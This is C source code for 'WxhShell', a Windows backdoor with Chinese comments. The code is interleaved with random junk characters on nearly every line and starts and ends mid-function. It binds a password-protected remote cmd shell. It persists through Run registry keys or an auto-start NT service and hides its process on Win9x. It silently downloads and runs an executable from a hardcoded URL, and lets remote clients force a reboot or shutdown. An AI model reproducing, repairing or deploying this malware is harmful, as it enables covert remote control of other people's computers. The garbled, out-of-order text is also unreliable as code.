    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9pjk3a  
    if(Boot(SHUTDOWN)) Wdy2;a<\{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0W=IuPDU  
    else { PS=crU@"H  
    closesocket(wsh); 5gJQr%pS  
    ExitThread(0); 54 }s:[O  
    } XTeU 2I  
    break; :EA,0 ,  
    } H uE*jQ  
  // 获取shell NWNgh/9?  
  case 's': { o-)E_X  
    CmdShell(wsh); $V\xN(Ed  
    closesocket(wsh); Qgf_  
    ExitThread(0); cIgFSwQ 4  
    break; ,:z@Ji  
  } }l[t0C t  
  // 退出 + qS$t  
  case 'x': { DTr0u}m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3d,|26I7f  
    CloseIt(wsh); (iS94}-)  
    break; ZGp8$Y>r  
    } ~KX!i 8+X  
  // 离开 }Rt<^oya*  
  case 'q': { e|kYu[^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 74Kl!A  
    closesocket(wsh); DsFrA]  
    WSACleanup(); @7BH`b$)!  
    exit(1); Pp.X Du  
    break; ;#j/F]xG  
        } =RQ>q  
  } Ajq<=y`NzV  
  } *?i~AXJm  
E&"bgwav{(  
  // 提示信息 Y*7.3 +#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (sPZ1Fr\o  
} *.~M#M 9c  
  }  lual'~  
2=U4'C4#  
  return; g4~{#P^i  
} ixU1v~T  
5qFqH  
// shell模块句柄 w1iQ#.4K_  
int CmdShell(SOCKET sock) UHxXa*HyI  
{ ]C'r4Ch^  
STARTUPINFO si; fHe3 :a5+W  
ZeroMemory(&si,sizeof(si)); ]i{-@Ven  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t4 aa5@r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tF=96u_X  
PROCESS_INFORMATION ProcessInfo; q`qbaX\J3  
char cmdline[]="cmd"; \bfNki  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2.2 s>?\  
  return 0; xe_c`%_  
} M(5lSu  
U${dWxC  
// 自身启动模式 jagsV'o2  
int StartFromService(void) %"{SGp  
{ LnM+,cBz  
typedef struct g9 g &]  
{ CbwQ'c$}  
  DWORD ExitStatus; z i<C 5E`  
  DWORD PebBaseAddress; rw58bkh6  
  DWORD AffinityMask; B 6|=kl2C  
  DWORD BasePriority; ^gD&NbP8  
  ULONG UniqueProcessId; m[%&K W(  
  ULONG InheritedFromUniqueProcessId; ?|{P]i?)'  
}   PROCESS_BASIC_INFORMATION; ^Z;5e@S  
X(N!y"z  
PROCNTQSIP NtQueryInformationProcess; fF<~2MiKw  
z,$^|'pP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |"\A5v|1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8BBuYY {  
Sh=z  
  HANDLE             hProcess; Z+FJ cvYx  
  PROCESS_BASIC_INFORMATION pbi; Fb.wm   
U H `=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pv/$ ;R%  
  if(NULL == hInst ) return 0; 5_0Eh!sx  
qN[U|3k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }-!0d*I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t 8|i>(O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lfK sqe"  
3Vs8"BFjz  
  if (!NtQueryInformationProcess) return 0; H $XO] \  
G[@RZ~o4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'H zF/RKh  
  if(!hProcess) return 0; <D%.'=%pZ  
Y2W|b5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yxik`vmH  
ACctyGd  
  CloseHandle(hProcess); I w~R@,  
Vo"Wr>F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wQEsq<  
if(hProcess==NULL) return 0; whxTCIV  
of659~EIW  
HMODULE hMod; m %]1~b}"  
char procName[255]; o#fr5>h-w  
unsigned long cbNeeded; Q V)>+6\  
&N:Iirg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <A^sg?s<'  
?(0=+o(`  
  CloseHandle(hProcess); qILb>#  
C3)*Mn3%P  
if(strstr(procName,"services")) return 1; // 以服务启动 xhK8Q  
XXPn)kmWR  
  return 0; // 注册表启动 vhIZkz!9  
} vJ9I z  
JlR$"GU  
// 主模块 ti'B}bH>'  
int StartWxhshell(LPSTR lpCmdLine) /#jH #f[  
{ fG9 ;7KG  
  SOCKET wsl; _t&` T  
BOOL val=TRUE; =HMa<"-8  
  int port=0; K*I!:1;3N  
  struct sockaddr_in door; @GUlw[vi  
,_iq$I;  
  if(wscfg.ws_autoins) Install(); !6!Gx:  
%5RR<[_/;  
port=atoi(lpCmdLine); 7-:R{&3Lm:  
' _d4[Olu  
if(port<=0) port=wscfg.ws_port; !]5}N^X  
V6Mt;e)C  
  WSADATA data; "i#aII+T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3ew4QPT'  
3xg9D.A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m8@&-,T   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hz\@#   
  door.sin_family = AF_INET; sYjhQN=Y*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cbN;Kv?ak}  
  door.sin_port = htons(port); <d @9[]  
/~M H]Gh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o^XDG^35`  
closesocket(wsl); SQ_Je+X  
return 1; Q$uv \h;  
} Kci. ,I  
G54J'*Z  
  if(listen(wsl,2) == INVALID_SOCKET) { gg >QXui  
closesocket(wsl); |lt]9>|  
return 1; ,AmwsXN"F  
} >`r3@|UY  
  Wxhshell(wsl);  0:f]&Ng  
  WSACleanup(); Xu8I8nAwl  
6<2H 7'  
return 0; s$).Z(6  
,DZvBS  
} -Arsmo  
J$Z=`=] t+  
// 以NT服务方式启动 ^|H={pd'c0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) baBBn %_V  
{ +LF#XS@  
DWORD   status = 0; f. "\~  
  DWORD   specificError = 0xfffffff; #8|LPfA  
tLBtE!J$[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '`3#FCg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8 q@Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nq)F$@  
  serviceStatus.dwWin32ExitCode     = 0; 7~SwNt,  
  serviceStatus.dwServiceSpecificExitCode = 0; tO&ffZP8$  
  serviceStatus.dwCheckPoint       = 0; U}LW8886  
  serviceStatus.dwWaitHint       = 0; X/yq<_ g  
;$QC_l''b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H_X^)\oJ  
  if (hServiceStatusHandle==0) return; P( hGkY=(  
yd).}@  
status = GetLastError(); N-gYamlQ  
  if (status!=NO_ERROR) SVZocTt  
{ ;f =m+QXU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <eoie6@3  
    serviceStatus.dwCheckPoint       = 0; |^6{3a  
    serviceStatus.dwWaitHint       = 0; EU$.{C_O(  
    serviceStatus.dwWin32ExitCode     = status; Ks-$:~?5":  
    serviceStatus.dwServiceSpecificExitCode = specificError; t:2v`uk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u= NLR\  
    return; Ax;=Zh<DAv  
  } 1z? }'&:  
T.4&P#a1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "9wD|wsz  
  serviceStatus.dwCheckPoint       = 0; Dwp,d~z  
  serviceStatus.dwWaitHint       = 0; m^k0j/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T$I_nxh[)L  
} Mfj82rHg  
,%M[$S'  
// 处理NT服务事件,比如:启动、停止 zxbf h/=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [={mCGU  
{ FTf#"'O  
switch(fdwControl) v $Iw?y  
{ # z|Q $  
case SERVICE_CONTROL_STOP: s/E|Z1pg3  
  serviceStatus.dwWin32ExitCode = 0; Xw-[Sf]p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  Y{p$%  
  serviceStatus.dwCheckPoint   = 0; q,vWu(.  
  serviceStatus.dwWaitHint     = 0; or/gx3  
  { zx3gz7>k;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A&Y5z[p  
  } ;mkkaW,D*  
  return; x HRSzYn$  
case SERVICE_CONTROL_PAUSE: bGPE0}b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7?$?Yu  
  break; j/FLEsU!R  
case SERVICE_CONTROL_CONTINUE: ={qcDgn~C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eU[g@Pq:Y  
  break; 4:`D3  
case SERVICE_CONTROL_INTERROGATE: D 2X_Yv  
  break; xN1P#  
}; O G`8::S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]~({;;3o-  
} L*6'u17y  
rbZbj#  
// 标准应用程序主函数 @5Xo2}o-Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KdkA@>L!;  
{ '5e,@t%y  
c3$T3Lu1  
// 获取操作系统版本 mj~:MCC  
OsIsNt=GetOsVer(); LeKovt%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &*C5Nnlv  
M]x> u@JH  
  // 从命令行安装 x:|Y)Dn\  
  if(strpbrk(lpCmdLine,"iI")) Install(); $x0SWJ \G  
IH]9%d)  
  // 下载执行文件 ^*K=wE}AG  
if(wscfg.ws_downexe) { OtG\Uw8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rE3dHJN;  
  WinExec(wscfg.ws_filenam,SW_HIDE); {&  o^p!  
} t" .Ytz>  
BVQy@:K/  
if(!OsIsNt) { p/.8})c1r  
// 如果时win9x,隐藏进程并且设置为注册表启动 c{z$^)A/  
HideProc(); ;]{ee?Q^ld  
StartWxhshell(lpCmdLine); B,%Vy!o  
} dY*q[N/pO  
else "mlQ z4D)5  
  if(StartFromService()) @60D@Y  
  // 以服务方式启动 2w 2Bc+#o  
  StartServiceCtrlDispatcher(DispatchTable); d#k(>+%=Q  
else t]/eCsR  
  // 普通方式启动 Nk|cU;?+  
  StartWxhshell(lpCmdLine); j(;^XO Y#  
,,H"?VO  
return 0; ,eXtY}E  
} h>N}M}8  
GG} %  
R>< g\{G]  
64s;EC  
=========================================== AK:cDKBO  
(eHyas %X  
Vwkvu&4  
/:{%X(8  
Cf {F"o  
i+_LKHQN  
" SQKhht`M  
dmFn0J-\  
#include <stdio.h> NYm"I`5w  
#include <string.h> k6G _c;V  
#include <windows.h> ?#xl3Z ;I  
#include <winsock2.h> oMh$:jR$  
#include <winsvc.h> V%Uj\cv  
#include <urlmon.h> Knq 9 "k  
v+c>iI  
#pragma comment (lib, "Ws2_32.lib") x 7j#@C  
#pragma comment (lib, "urlmon.lib") SN{z)q  
Q8p6n  
#define MAX_USER   100 // 最大客户端连接数  Z>[7#;;  
#define BUF_SOCK   200 // sock buffer T1LYJ]5  
#define KEY_BUFF   255 // 输入 buffer 91-bz^=xO  
aZfMeW  
#define REBOOT     0   // 重启 u v%Q5O4  
#define SHUTDOWN   1   // 关机 bJ^JK  
>ohH4:  
#define DEF_PORT   5000 // 监听端口 &w@]\7L,:  
DaQ"Df_X  
#define REG_LEN     16   // 注册表键长度 UKS5{"=T[  
#define SVC_LEN     80   // NT服务名长度 #c"eff  
d,<ni"  
// 从dll定义API @"@a70WHk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .3!Wr*o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Lvk}%,S8t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TP }a9-9?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7[m?\/K~  
h2l;xt  
// wxhshell配置信息 7& M-^Ev  
struct WSCFG { a#oROb-*~  
  int ws_port;         // 监听端口 .;#T<S "  
  char ws_passstr[REG_LEN]; // 口令 q=1 N&#R G  
  int ws_autoins;       // 安装标记, 1=yes 0=no uuzV,q  
  char ws_regname[REG_LEN]; // 注册表键名 .*O*@)}Ud  
  char ws_svcname[REG_LEN]; // 服务名 L/3A g* ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .RD<]BxJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "wUIsuG/p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pYr"3BwG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J<) qw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tbrU>KCBD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tgRj8 @  
o)`PS w=  
}; } ueFy<F  
aDlp>p^E>  
// default Wxhshell configuration Fs+ tcr/\[  
struct WSCFG wscfg={DEF_PORT, 6].[z+  
    "xuhuanlingzhe", `~1!nfFD  
    1, j3-YZKpg  
    "Wxhshell", /dnwN7Gf  
    "Wxhshell", )"?4d[ 5  
            "WxhShell Service", z8kO)'  
    "Wrsky Windows CmdShell Service", Hv,|XE@Y  
    "Please Input Your Password: ", Ufr@j` *  
  1, KK|w30\f  
  "http://www.wrsky.com/wxhshell.exe", 1wSAwpz  
  "Wxhshell.exe" \Z{tC$|H  
    }; uvys>]+  
iP:i6U]  
// 消息定义模块 |vI*S5kn6A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \#sD`O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 05UN <l]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F^!D[:;jK  
char *msg_ws_ext="\n\rExit."; dFg>uo  
char *msg_ws_end="\n\rQuit.";  tV}!_  
char *msg_ws_boot="\n\rReboot..."; h~dQ5%  
char *msg_ws_poff="\n\rShutdown..."; )p& g!qA  
char *msg_ws_down="\n\rSave to "; ^FCXcn9  
:X2_#qW#C  
char *msg_ws_err="\n\rErr!"; }{0}$#z u  
char *msg_ws_ok="\n\rOK!"; F72#vS j  
d^=BXC oC  
char ExeFile[MAX_PATH]; >w,L=z=  
int nUser = 0; >XN[KPTa  
HANDLE handles[MAX_USER]; 7iB!Uuc  
int OsIsNt; oO}g~<fYG  
[4KQcmJc#  
SERVICE_STATUS       serviceStatus; u@a){ A(P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mz+I YP`L  
1" '3/MFQ8  
// 函数声明 4.A^5J'W  
int Install(void); I8#2+$Be+@  
int Uninstall(void); e =amh  
int DownloadFile(char *sURL, SOCKET wsh); t}t(fJHY`  
int Boot(int flag); _~FfG!H ^X  
void HideProc(void); .)E#*kLWR  
int GetOsVer(void); '|yxB')  
int Wxhshell(SOCKET wsl); g)Z8WH$;H3  
void TalkWithClient(void *cs); zLJ>)v$81  
int CmdShell(SOCKET sock); %G?@Hye3  
int StartFromService(void); j?T'N:Qd  
int StartWxhshell(LPSTR lpCmdLine); 7UTfafOGX  
5(;Y&?k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ou[K7-m%&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p.8bX  
79DNNj~  
// 数据结构和表定义 ixTjXl2g  
SERVICE_TABLE_ENTRY DispatchTable[] = jCd]ENl+_  
{ ]3r}>/2(  
{wscfg.ws_svcname, NTServiceMain}, Upz)iOqLi  
{NULL, NULL} y4\X~5kU  
}; iSfRJ:_&6  
S!K<kn`E3  
// 自我安装 U1\EwBK8*T  
int Install(void) 3Tr,waV  
{ dJuyJl$*  
  char svExeFile[MAX_PATH]; *tjaac;z<J  
  HKEY key; @ f[-  
  strcpy(svExeFile,ExeFile); xj5TnE9^  
KGt:  
// 如果是win9x系统,修改注册表设为自启动 KpN]9d   
if(!OsIsNt) { X G#?fr}L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &YFe"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >N&{DJmD  
  RegCloseKey(key); #.8v[TkKq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *F$@!ByV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TE`5i~R*  
  RegCloseKey(key); Va!G4_OT  
  return 0; ^[hAj>7_8$  
    } =OufafZb  
  } 7cc^n\c?Y  
} -jQ*r$iRE  
else { hqRC:p#9  
0 kJ8H!~u  
// 如果是NT以上系统,安装为系统服务 Y e0,0Fpw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lHiWzt u  
if (schSCManager!=0) ~[H8R|j "  
{ 2EgvS!"  
  SC_HANDLE schService = CreateService -TD\?Q  
  ( }L0 [ Jo:  
  schSCManager, k?=1q[RQH  
  wscfg.ws_svcname, bH+NRNI]  
  wscfg.ws_svcdisp, VQIvu)I  
  SERVICE_ALL_ACCESS, [;m@A\F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TX)W.2u=  
  SERVICE_AUTO_START, dv+Gv7&2/  
  SERVICE_ERROR_NORMAL, x,n l PU  
  svExeFile, LhG\)>Y%  
  NULL, {S0-y  
  NULL, av'DyNW\  
  NULL, CU=sQfE  
  NULL, D5gj*/"  
  NULL `%YMUBaI  
  ); |s3;`Nxu7  
  if (schService!=0) m|NZ093d  
  { u|KjoO   
  CloseServiceHandle(schService); Na@bXcz)  
  CloseServiceHandle(schSCManager); Z?P^Y%ls  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jCY~Wc  
  strcat(svExeFile,wscfg.ws_svcname); ss-W[|cHU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (]w6q&,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tE %g)hL-  
  RegCloseKey(key); W"=l@}I  
  return 0; $9%F1:u  
    } Y:CX RU6eD  
  } l8~(bq1  
  CloseServiceHandle(schSCManager); izSX  
} ~vTwuc\(H  
} eEXNEgbn  
cB&_':F  
return 1; -9vNV:c  
} B/X$ZQ0  
Y" =8wNbr  
// 自我卸载 97Dq;  
int Uninstall(void) *VsGa<V  
{ ,X!)zAmm  
  HKEY key; ,^bgk -x-  
:2lpl%/  
if(!OsIsNt) { <M9NyD`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?22U0UF  
  RegDeleteValue(key,wscfg.ws_regname); s AFn.W  
  RegCloseKey(key); H+*3e&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6uD<E  
  RegDeleteValue(key,wscfg.ws_regname); 4dixHpq'  
  RegCloseKey(key); :]:)c8!6  
  return 0; iw#~xel<ez  
  } !h1:AW_iz  
} Bq$IBAot  
} f?d5Ltg   
else { =]%,&Se  
/KvJjt'8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _Q:z -si  
if (schSCManager!=0) OUWK  
{ YPx+9^)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4AN8Sx(  
  if (schService!=0) xJZaV!N|  
  { UIDeMz  
  if(DeleteService(schService)!=0) { yH('Vl  
  CloseServiceHandle(schService); wa<k%_# M  
  CloseServiceHandle(schSCManager); WVD48}HF-  
  return 0; yKhI&  
  } z~2{`pET  
  CloseServiceHandle(schService); W=HvMD  
  } XaCvBQ  
  CloseServiceHandle(schSCManager); jyD~ER}J  
} CHTK.%AQH!  
} n*"r!&Dg  
1\}XL=BE  
return 1; Hc\C0V<  
} UYxn? W.g  
SY|K9$M^  
// 从指定url下载文件 eL~xS: VT  
int DownloadFile(char *sURL, SOCKET wsh) 'IY?=#xr'`  
{ \ Bj{.jL  
  HRESULT hr; &]YyV.  
char seps[]= "/"; Ck#e54gJX  
char *token; T1q27I  
char *file; i&m_G5u88  
char myURL[MAX_PATH]; 2.WI".&y=  
char myFILE[MAX_PATH]; %16Lo<DPm  
WOZuFS13  
strcpy(myURL,sURL); %|e)s_%XE  
  token=strtok(myURL,seps); -E1-(TS  
  while(token!=NULL) nrY)i_\  
  { mhVLlb Y|t  
    file=token; : %& E58  
  token=strtok(NULL,seps); )!v"(i.5Xo  
  } 9h|6"6  
|!] "y<  
GetCurrentDirectory(MAX_PATH,myFILE); #f"eZAQ {  
strcat(myFILE, "\\"); Nl[&rZ-&  
strcat(myFILE, file); S3/%;=|  
  send(wsh,myFILE,strlen(myFILE),0); 1J0gjO)AZ  
send(wsh,"...",3,0); /?r A|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Q(E {c3"  
  if(hr==S_OK) Q>D//_TF  
return 0;  >SQzE  
else "a].v 8l!  
return 1; N ;=z o-8  
Y_Fn)(  
} 6 eryf?  
PwW$=M{\.  
// 系统电源模块 Xk.OyQ@  
int Boot(int flag) 6YU,> KP  
{ #I?Z,;DI=  
  HANDLE hToken; ~bkO8tn  
  TOKEN_PRIVILEGES tkp; vYm-$KQ"o  
{[#)Q.2  
  if(OsIsNt) { 8!|vp7/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p/ xlR[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bc.de&Bxz_  
    tkp.PrivilegeCount = 1; ~588M 8~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( 0/M?YQF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G+N1#0,q  
if(flag==REBOOT) { x)=l4A\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R_B0CM<!  
  return 0; )qb'tZz/g_  
} tkZUjQIX  
else { <L8|Wz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ('J@GTe@xj  
  return 0; OGg\VV'  
} o3`U;@&u  
  } n[0u&m8  
  else { U2m#BMV  
if(flag==REBOOT) { Y>w7%N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :0:Tl/))  
  return 0; X PyDZk/m  
} d eT<)'"  
else { beo(7,=&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Oe1WnS 7(]  
  return 0; Ez~5ax7x  
} A0 Nx?  
} {)"[_<  
2j8GJU/L  
return 1; }},0#Ap  
} (a#gCG\  
;iuwIdo6c  
// win9x进程隐藏模块 NH|I>vyN  
void HideProc(void) "W"^0To  
{ 3!l>\#q6  
pi"M*$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x7/Vf,N  
  if ( hKernel != NULL ) w"?Q0bhV9y  
  { *"WP*A\1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x4_MbUe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +o`%7r(R  
    FreeLibrary(hKernel); nSyLt6zn\  
  } boEQI=!j\+  
12U]=  
return; - $<oY88  
} Y M:9m)  
x3cjyu<K  
// 获取操作系统版本 ,Suk_aX>  
int GetOsVer(void)  q6F1Rt  
{ LH(P<k&  
  OSVERSIONINFO winfo; (|<S%?}J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |K1S(m<F  
  GetVersionEx(&winfo); k)-+ZmMOh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `{!A1xKZ  
  return 1; S'34](9n6  
  else UDr 1t n  
  return 0; ((A@VcX  
} Gt#r$.]W?o  
]:Ep1DIMl  
// 客户端句柄模块 P}8hK   
int Wxhshell(SOCKET wsl) MS;^:t1`  
{ jdG2u p  
  SOCKET wsh; 6ioj!w<N  
  struct sockaddr_in client; >u> E !5O  
  DWORD myID; ^WB[uFt-  
5 %\K  
  while(nUser<MAX_USER) :ir#7/  
{ gGvL6Fu  
  int nSize=sizeof(client); M}o.= Iqa  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K*j OrQf`  
  if(wsh==INVALID_SOCKET) return 1;  #B~ ;j5  
I[&x-}w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xw9]WJc  
if(handles[nUser]==0) L;opQ~g  
  closesocket(wsh); lVT*Ev{&.  
else \(Rj2  
  nUser++; A[m?^vk q  
  } I*TTD]e'X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aQmS'{d?^  
(9]1p;  
  return 0; y/S3ZJY  
} <fHHrmZ#/.  
@xdtl{5G  
// 关闭 socket X[?fU&  
void CloseIt(SOCKET wsh) >oq\`E  
{ @lDnD%vZ`  
closesocket(wsh); ~s&r.6 DW  
nUser--; {H,O@  
ExitThread(0); MRz f#o<H  
} b)IQa,enH  
4Mg%}/cC  
// 客户端请求句柄 jX4$PfOhR  
void TalkWithClient(void *cs) %G(VYCeK  
{ m<j;f  
3L==p`   
  SOCKET wsh=(SOCKET)cs; CP9Q|'oJ  
  char pwd[SVC_LEN]; W>!:K^8]  
  char cmd[KEY_BUFF]; 8zMGpY#  
char chr[1]; ugN%8N  
int i,j; 5GAW3j{  
a:*N0  
  while (nUser < MAX_USER) { uM 'n4oH  
k+[oYd  
if(wscfg.ws_passstr) { On O_7'4 t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pWE(?d_M{G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TXYO{  
  //ZeroMemory(pwd,KEY_BUFF); ,k.")  
      i=0; uDG>m7(}/h  
  while(i<SVC_LEN) { en|~`]HF  
yD \Kn{  
  // 设置超时 /NB|N*}O)  
  fd_set FdRead; dCn9]cj/  
  struct timeval TimeOut; :KC]1_zqR  
  FD_ZERO(&FdRead); Zt41fPQ  
  FD_SET(wsh,&FdRead); ]Z UE !  
  TimeOut.tv_sec=8; 'S}3lsIE  
  TimeOut.tv_usec=0; &b:y#gvJ:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r-S%gG}~E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _0 4 3,  
IX 6 jb"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0ie)$fi  
  pwd=chr[0]; A]QGaWK  
  if(chr[0]==0xd || chr[0]==0xa) { ,b^jAzow  
  pwd=0; Y[b08{/  
  break; gZ>&cju  
  } n=DmdQ}  
  i++; #(}{*d R  
    } FDF DB  
x/]G"?Uix  
  // 如果是非法用户,关闭 socket 6E ^m*la%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (oCpQDab@  
} 8rJf2zL  
ORX<ZO t1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o4a@{nt^,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !+Cc^{  
TG?>;It&  
while(1) { oEZhKVyc.y  
jN= !Q&^i[  
  ZeroMemory(cmd,KEY_BUFF); evE:FiDm(j  
3&[d.,/  
      // 自动支持客户端 telnet标准   X pK eN2=p  
  j=0; `v(!IBP|  
  while(j<KEY_BUFF) { Ao\OU}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2sqH > fen  
  cmd[j]=chr[0]; @QpL*F  
  if(chr[0]==0xa || chr[0]==0xd) { \qW^AD(it<  
  cmd[j]=0; Tsu\4 cL]  
  break; B;iJ$gt]  
  } I+ Qt5Ox  
  j++; d@ZXCiA},  
    } ~t*_  
@Z""|H"0  
  // 下载文件 n|.>41bJ  
  if(strstr(cmd,"http://")) { 1,P2}mYv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E_D@ 7a  
  if(DownloadFile(cmd,wsh)) iH)vLD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+V &  
